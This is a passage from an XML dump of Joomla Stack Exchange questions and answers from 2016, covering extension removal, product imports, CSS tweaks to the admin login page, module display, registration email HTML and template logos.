href=&quot;https://www.rsjoomla.com/support/documentation/rsmembership-user-guide/installing-and-uninstalling/manually-uninstall-rsmembership.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsmembership-user-guide/installing-and-uninstalling/manually-uninstall-rsmembership.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go in your PHPmyAdmin and perform those queries. But first make sure you get a new back of the database at its current state.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-25T08:57:02.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16965" PostTypeId="2" ParentId="16958" CreationDate="2016-06-25T10:03:22.613" Score="1" Body="&lt;p&gt;I'm not aware of any free extensions for importing products into VirtueMart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used &lt;a href=&quot;http://extensions.joomla.org/extension/csvi-pro&quot; rel=&quot;nofollow&quot;&gt;CSVI Pro&lt;/a&gt; previously and this works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my clients is using the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/extension-specific/virtuemart-extensions/mass-update-for-virtuemart&quot; rel=&quot;nofollow&quot;&gt;Mass Update for Virtuemart&lt;/a&gt; to simplify product maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching the &lt;a href=&quot;http://extensions.joomla.org&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;, I see there are other options but I can't vouch for any of these personally:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/extension-specific/virtuemart-extensions/virtuemart-import-export&quot; rel=&quot;nofollow&quot;&gt;HexData Import &amp;amp; Export for Virtuemart&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/vm-products-csv&quot; rel=&quot;nofollow&quot;&gt;VM Products CSV&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also check out &lt;a href=&quot;http://extensions.virtuemart.net/import-export&quot; rel=&quot;nofollow&quot;&gt;other import options in the VirtueMart Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-25T10:18:17.933" LastActivityDate="2016-06-25T10:18:17.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16966" PostTypeId="2" ParentId="16954" CreationDate="2016-06-25T12:57:28.980" Score="2" Body="&lt;h1&gt;Make static homepage&lt;/h1&gt;&#xA;&lt;p&gt;To make a static homepage, create the article for the homepage, then change your homepage menu item to single article menu item and select that article for your homepage. - Procedure is the same as in older Joomla versions, if you are familiar with them.&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h1&gt;Restore Trashed Categories&lt;/h1&gt;&#xA;&lt;p&gt;To Restore trashed categories, go in Articles - Category Manager, click the Search Tools, to display the filters, then use the status filter to display either all, or trashed categories. Select them all and click the Publish button from the Toolbar, to set them all to published.&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h3&gt;Special Notes on Category Not Found error.&lt;/h3&gt;&#xA;&lt;p&gt;However the Category Not Found error page, may not necessarily be connected with trashed categories. It may simply mean that you link to content that is for whatever reason not available. If this occurs in your home page, then go in Menu Manager and check your home menu item type and where it links to.&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;@Lynob: for comment:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What I did to make homepage is use the redirect, from index.php to&#xA;static page, is that what you mean?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, it's not what I mean. Static pages in Joomla is term used for long time to describe pages that display a single article and not content that will be changed like a blog category or list of articles of a category. So, that's what I understood when you said static pages in Joomla. What you are after is to have a static html page (that's not a Joomla thing).&lt;/p&gt;&#xA;&lt;h3&gt;Use external page for homepage:&lt;/h3&gt;&#xA;&lt;p&gt;For solution on this read here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14860/how-to-make-external-url-as-homepage&quot;&gt;How to make external url as homepage&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-26T11:30:05.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16967" PostTypeId="2" ParentId="16962" CreationDate="2016-06-25T13:13:27.447" Score="6" Body="&lt;p&gt;My advice to you - avoid this. It's a recipe for many problems. A website owner who wanted this ended up paying us a lot of money just to fix the problems that arose from using this strategy (there were many, many issues). At the end, the website owner reverted back to a &quot;non-ajax&quot; template and never looked back again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issues included: Many JavaScript conflicts that were very hard to solve, near impossible to solve caching issue, indexing issues, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not one single advantage in doing this.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-25T13:13:27.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16968" PostTypeId="2" ParentId="16950" CreationDate="2016-06-25T13:24:57.840" Score="1" Body="&lt;p&gt;Just click on view HTML and see, in the code, where that popup is being displayed. If you found it but the code is somehow obfuscated, then most likely your website is hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find it, then do a grep (if you have access to a VPS) at the root level of your Joomla website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -R &quot;We Ready&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the grep didn't return any results, then try searching the database (the whole database) in phpMyAdmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still can't find it, then try overwriting your core JavaScript files with clean JavaScript files from Joomla's website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still didn't work for you, then try switching to a different template to see if the problem persists. If the problem is gone, then it's the template, and the code is obfuscated there.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-25T13:24:57.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16969" PostTypeId="1" AcceptedAnswerId="16979" CreationDate="2016-06-25T14:39:29.893" Score="1" ViewCount="1626" Body="&lt;p&gt;How do I Remove Joomla Icon at the bottom Administrator Login page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched and can't figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience in removing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/scWJR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/scWJR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="3650" LastEditDate="2016-11-21T18:16:22.470" LastActivityDate="2016-11-21T18:16:22.470" Title="How to Remove Joomla Icon at the bottom Admin Login page?" Tags="|administrator|login|icon|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16971" PostTypeId="2" ParentId="16969" CreationDate="2016-06-25T15:13:10.490" Score="4" Body="&lt;p&gt;Open &lt;strong&gt;isis&lt;/strong&gt; template folder and add &lt;strong&gt;custom.css&lt;/strong&gt; file in &lt;strong&gt;css&lt;/strong&gt; directory and then add this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;span.icon-joomla {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-06-25T15:13:10.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16972" PostTypeId="1" AcceptedAnswerId="16976" CreationDate="2016-06-25T15:27:40.610" Score="0" ViewCount="76" Body="&lt;p&gt;I have the latest version of joomla 3, I want to display JEvents calendar and the default hit counter on every page of the site, I selected all pages but they seem to be displayed on only 1 page.&lt;/p&gt;&#xA;" OwnerUserId="4037" LastEditorUserId="3650" LastEditDate="2016-11-21T18:15:25.217" LastActivityDate="2016-11-21T18:15:25.217" Title="How to show a module on every page?" Tags="|joomla-3.x|joomla-3.4|module|module-display|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16973" PostTypeId="2" ParentId="16962" CreationDate="2016-06-25T16:35:02.270" Score="3" Body="&lt;p&gt;Yes, there is a better solution... &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/add-fullajax&quot; rel=&quot;nofollow&quot;&gt;AddFullAjax&lt;/a&gt; is nice plugin which connects FullAjax library to Joomla site, and it may work pretty well for simple sites. Demo at &lt;a href=&quot;http://getsite.org.ua/jdemo/&quot; rel=&quot;nofollow&quot;&gt;http://getsite.org.ua/jdemo/&lt;/a&gt; shows default Joomla 3 under AJAX technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... as @itoctopus just mentioned, its far from being easy to implement, and it may simply lead to great hair loss :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have been warned... ;-)&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-06-27T09:50:39.467" LastActivityDate="2016-06-27T09:50:39.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16975" PostTypeId="2" ParentId="16969" CreationDate="2016-06-25T21:16:25.487" Score="2" Body="&lt;p&gt;You can try with one of this solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Delete the line code&lt;/strong&gt;&lt;br/&gt;&#xA;Go to &lt;code&gt;your_site/administrator/templates/isis/login.php&lt;/code&gt;, here delete the code around line 130. Even so, the changes will be lost when you update the core, so it's more convenient the second option.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Via CSS&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to hide the joomla! icon in the login page and the joomla! icon in the administrator area, follow the &lt;em&gt;@Joomler&lt;/em&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to hide the icon only in the login page, try with this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.login-joomla .icon-joomla {&#xA;    display: none; &#xA;}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-06-25T21:38:10.423" LastActivityDate="2016-06-25T21:38:10.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16976" PostTypeId="2" ParentId="16972" CreationDate="2016-06-25T22:59:48.440" Score="3" Body="&lt;p&gt;If you assigned the module to all pages yet it still displays only on one page, then this might be caused by one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have not cleared your Joomla cache.&lt;/li&gt;&#xA;&lt;li&gt;The module is set to display under specific conditions that are only present on that particular page.&lt;/li&gt;&#xA;&lt;li&gt;There is a condition at the template level to only display that module position on a specific page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-25T22:59:48.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16977" PostTypeId="1" AcceptedAnswerId="16978" CreationDate="2016-06-26T00:33:46.500" Score="1" ViewCount="166" Body="&lt;p&gt;In the &quot;Popular Articles&quot; admin Module in the Control Panel - Why do some articles have blue number of hits in the list? What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have highlighted the area in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WZWfN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZWfN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="3650" LastEditDate="2016-11-21T18:14:31.963" LastActivityDate="2016-11-21T18:14:31.963" Title="&quot;Popular Articles&quot; Admin Module - Why do some articles have blue number of hits in the list?" Tags="|module|articles|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16978" PostTypeId="2" ParentId="16977" CreationDate="2016-06-26T00:58:05.737" Score="1" Body="&lt;p&gt;Joomla colour codes the article count based on the number of hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like over 100 hits is colour coded blue, over 1,000 hits is orange and over 10,000 hits is red.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-06-26T00:58:05.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16979" PostTypeId="2" ParentId="16969" CreationDate="2016-06-26T08:04:01.243" Score="4" Body="&lt;p&gt;You can remove the icon and the link by adding or updating a custom CSS file at /administrator/templates/isis/css/custom.css with the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a.login-joomla {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the custom CSS option for administration templates was introduced in Joomla 3.4.1.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-06-26T08:04:01.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16980" PostTypeId="1" AcceptedAnswerId="16981" CreationDate="2016-06-26T08:58:31.057" Score="1" ViewCount="298" Body="&lt;p&gt;I have the latest joomla version installed and I use &lt;a href=&quot;http://themeforest.net/item/looksmart-responsive-multipurpose-joomla-theme/7384561&quot; rel=&quot;nofollow&quot;&gt;Looksmart template&lt;/a&gt;. The template editor isn't working, I can't save my changes. I want to remove the logo, and add another one, which is more like a banner on top of the menu. How to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange thing is I go to &lt;code&gt;looksmart/template/images/logo.png/&lt;/code&gt; I replace that, nothing changes, I don't know why&lt;/p&gt;&#xA;" OwnerUserId="4037" LastEditorUserId="126" LastEditDate="2016-06-26T10:56:17.950" LastActivityDate="2016-06-26T10:56:17.950" Title="Template settings won't be saved. How to change the logo?" Tags="|joomla-3.x|joomla-3.4|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16981" PostTypeId="2" ParentId="16980" CreationDate="2016-06-26T09:11:00.817" Score="2" Body="&lt;p&gt;Does this location &lt;code&gt;looksmart/template/images/logo.png/&lt;/code&gt; really exist, in your installation?&lt;/p&gt;&#xA;&lt;p&gt;I checked in the live preview of your template and the logo image exist at this location: &lt;code&gt;/images/sampledata/logo.png&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, you can replace that one with your own logo.&lt;/p&gt;&#xA;&lt;p&gt;But in any case contact the template developer to report the issues you have, as you will want to be able to edit/save settings of your template in the backend.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;In your live site, I see the logo image is here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates/looksmart_template/images/presets/preset1/logo.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Remember to Clear caches, after changes to make sure if it you did it right.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-26T10:46:23.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16985" PostTypeId="1" AcceptedAnswerId="16987" CreationDate="2016-06-27T11:24:05.060" Score="2" ViewCount="40" Body="&lt;p&gt;I'm trying to resize a .png image called bottom-fade.png. Without modification the image looks like the following in joomla&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Izjw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Izjw.png&quot; alt=&quot;unmodified&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to modify the file by resizing it goes blank as shown below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WZRd2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZRd2.png&quot; alt=&quot;modified&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know why resizing (or modifying the image) results in losing the colours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-27T13:29:02.857" Title="Image File Not Viewable After Editing" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16986" PostTypeId="1" CreationDate="2016-06-27T12:50:23.457" Score="1" ViewCount="360" Body="&lt;p&gt;I have created a custom backend button (JToolbarHelper::custom()), when a user clicks the button it shows a popup window with some content. How can I do so, not using JToolbarHelper::preview() as this button will do more than just displaying the content. Is there some inbuilt library function to do so?&lt;/p&gt;&#xA;" OwnerUserId="8551" LastActivityDate="2016-10-04T09:28:36.117" Title="Popup window for a custom backend button" Tags="|libraries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16987" PostTypeId="2" ParentId="16985" CreationDate="2016-06-27T13:29:02.857" Score="0" Body="&lt;p&gt;How are you resizing it? Some tools are not very good with resizing png images because of transparency. If you don't have Photoshop and you want to resize a png image then try pixlr (their online desktop), it works very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to resize the png image using PHP, then can you post your code? The accepted answer &lt;a href=&quot;https://stackoverflow.com/questions/13257405/why-is-resized-png-image-so-much-bigger-than-original-image&quot;&gt;here&lt;/a&gt; should work.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-06-27T13:29:02.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16988" PostTypeId="1" CreationDate="2016-06-27T14:49:17.723" Score="1" ViewCount="369" Body="&lt;p&gt;I would like to add the following code to over 50 articles:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a way to add the code to my articles in one shot? I attempted to do this with the Batch Process, but the functionality didn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-27T15:03:09.527" Title="Batch Edit to Articles" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16989" PostTypeId="2" ParentId="16988" CreationDate="2016-06-27T15:03:09.527" Score="1" Body="&lt;p&gt;The best thing to do is to create a module and then assign that module to all your pages, and then, in your template file (the index.php file), make sure you display the module only when you are in an article. You can check if you are in an article the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$option = $jinput-&amp;gt;getCmd('option');&#xA;$view   = $jinput-&amp;gt;getCmd('view');&#xA;if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'article'){&#xA;    // We are in an article. Add the module tag here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-27T15:03:09.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16990" PostTypeId="1" CreationDate="2016-06-27T18:50:17.383" Score="3" ViewCount="859" Body="&lt;p&gt;I would like to customize a Menu module. I want to add a default CSS class to a Joomla 'my_template' to render all link menu items with a default class (&lt;code&gt;&amp;lt;a class=&quot;link_menu&quot;...&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it is accomplished via menu item edit advanced tab options to adding a css class to a particular menu item. But i would like to add this class automatically to all the items of this menu module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could this be solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RYFIp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYFIp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="1629" LastEditDate="2016-06-27T23:26:42.587" LastActivityDate="2021-06-08T21:06:25.640" Title="Custom Module Menu Item Link Class Css" Tags="|css|template-override|joomla-3.5|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16991" PostTypeId="2" ParentId="16990" CreationDate="2016-06-27T19:23:17.447" Score="1" Body="&lt;p&gt;I would add module or menu class suffix to the menu module itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can write the css specifically for that menu module type, applying the rules to every menu item in it.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastEditorUserId="7394" LastEditDate="2020-05-14T20:45:01.483" LastActivityDate="2020-05-14T20:45:01.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16992" PostTypeId="2" ParentId="16990" CreationDate="2016-06-27T19:27:14.667" Score="1" Body="&lt;p&gt;One possible solution: Add a CSS class to your module in the &lt;strong&gt;Advanced&lt;/strong&gt; Tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pw5uq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pw5uq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here you can add for example a &lt;strong&gt;Menu Class Suffix&lt;/strong&gt;, then via CSS you can add a rule to your menu items, for example if you add a class called &lt;strong&gt;custom-menu&lt;/strong&gt;, the code will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.custom-menu li { /* your custom code */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-27T19:27:14.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16993" PostTypeId="1" CreationDate="2016-06-27T20:41:33.983" Score="2" ViewCount="4328" Body="&lt;p&gt;I'm currently trying to enhance/streamline the User Registration process on our Joomla website, however I've run into a snag on modifying the User Confirmation email.  I have figured out how to change the &lt;em&gt;text&lt;/em&gt; (extensions -&gt; language(s) -&gt; overrides) of the email, but not the &lt;em&gt;html&lt;/em&gt; of the email.  I'm trying to use some basic styling and more strategic placement of the links to make it more abundantly obvious what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this without installing an extension? My site is getting pretty bloated and I would prefer to not install an extension or plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8614" LastActivityDate="2019-04-10T19:44:23.667" Title="How to Modify Joomla Registration Confirmation Email" Tags="|user|emails|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16994" PostTypeId="2" ParentId="16993" CreationDate="2016-06-27T21:16:14.277" Score="2" Body="&lt;p&gt;The text is the HTML of the email. You can have HTML code in that text formatted the way you want. There is no other place where you can actually change the HTML of that email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Open the &lt;code&gt;components/com_users/models/registration.php&lt;/code&gt; file and add &lt;code&gt;true&lt;/code&gt; at the end of &lt;strong&gt;each and every&lt;/strong&gt; &lt;code&gt;JFactory::getMailer()-&amp;gt;sendMail&lt;/code&gt; function call. For example, you should change the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = JFactory::getMailer()-&amp;gt;sendMail($data['mailfrom'], $data['fromname'], $row-&amp;gt;email, $emailSubject, $emailBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = JFactory::getMailer()-&amp;gt;sendMail($data['mailfrom'], $data['fromname'], $row-&amp;gt;email, $emailSubject, $emailBody, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there are 4 occurrences, so you should change them all. Also note that this is a core modification, so proceed with caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still doesn't work, then change &lt;code&gt;$emailBody&lt;/code&gt; (or &lt;code&gt;$emailBodyAdmin&lt;/code&gt;) to &lt;code&gt;html_entity_decode($emailBody)&lt;/code&gt; (or &lt;code&gt;html_entity_decode($emailBodyAdmin)&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2016-06-28T14:23:26.790" LastActivityDate="2016-06-28T14:23:26.790" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16995" PostTypeId="2" ParentId="16941" CreationDate="2016-06-27T22:42:15.203" Score="1" Body="&lt;p&gt;Contnet plugins fire on each content portion - each module, each article on a blog page and so on.&#xA;If you want to replace something unsing one run of a plugin you should use a system plugin and onAfterRender&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function onAfterRender() {&#xA;            $body = JResponse::getBody();&#xA;            // replace what you need in the $body&#xA;            JResponse::setBody($body);&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-06-27T22:42:15.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16996" PostTypeId="2" ParentId="972" CreationDate="2016-06-28T02:22:43.763" Score="3" Body="&lt;p&gt;Community Builder Profile Privacy plugin also does this, if you use Community Builder for your membership management. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides deleting an account, it also allows user to temporarily disable their account on front-end, so it's not active but keeps the data to reactivate later.  And it includes options for administrators to allow front-end privacy controls on a field-by-field basis (e.g. force showing name &amp;amp; city, but allow hiding street &amp;amp; phone number).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set up, install Community Builder, then add CB Privacy from the Community Builder plugin management.  Make sure it's enabled, which will automatically add the disable &amp;amp; delete options to the bottom of the user profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add privacy to specific fields, select the field, find the Privacy tab in &quot;Integrations&quot; section of the field editing and select the options you prefer.  To leave it out for any field choose &quot;Normal CB Settings&quot;.  You can also used &quot;Forced privacy control&quot; to make sure a field stays private that you don't want users publishing by accident. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;https://www.joomlapolis.com/addons/cb-privacy&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlapolis.com/addons/cb-privacy&lt;/a&gt; (Requires active membership to download)&lt;/p&gt;&#xA;" OwnerUserId="8617" LastActivityDate="2016-06-28T02:22:43.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16997" PostTypeId="1" CreationDate="2016-06-28T08:39:50.710" Score="0" ViewCount="134" Body="&lt;p&gt;My blog has this error. The problem persits only on the pages that have articles on them. Please help!&#xA;&lt;a href=&quot;http://www.udaipurlakecity.com/blog&quot; rel=&quot;nofollow&quot;&gt;Udaipur - Blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: 0 - Invalid address:   You may not be able to visit this page&#xA;  because of:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;an out-of-date bookmark/favourite   &lt;/li&gt;&#xA;  &lt;li&gt;a search engine that has an out-of-date listing for this site&lt;/li&gt;&#xA;  &lt;li&gt;a mistyped address&lt;/li&gt;&#xA;  &lt;li&gt;you have no access to this page  &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The requested resource was not found.&lt;br&gt;&#xA;   An error has occurred while processing your request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8619" LastEditorUserId="126" LastEditDate="2016-07-10T12:26:31.983" LastActivityDate="2016-07-10T12:26:31.983" Title="Joomla Blog Error: 0 - Invalid address:" Tags="|joomla-3.5|update|configuration|error-pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16998" PostTypeId="2" ParentId="16997" CreationDate="2016-06-28T09:36:29.890" Score="1" Body="&lt;p&gt;Have you recently updated to Joomla 3.5x and then the issue started? Have you checked that all your extensions are compatible with Joomla 3.5? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to look in your extensions and disable any 3rd party that could look outdated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the plugins, you may have an old non-compatible content plugin installed for your articles. Not sure if you have noticed it, but all your articles give this error, not only the blog ones.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-28T09:36:29.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
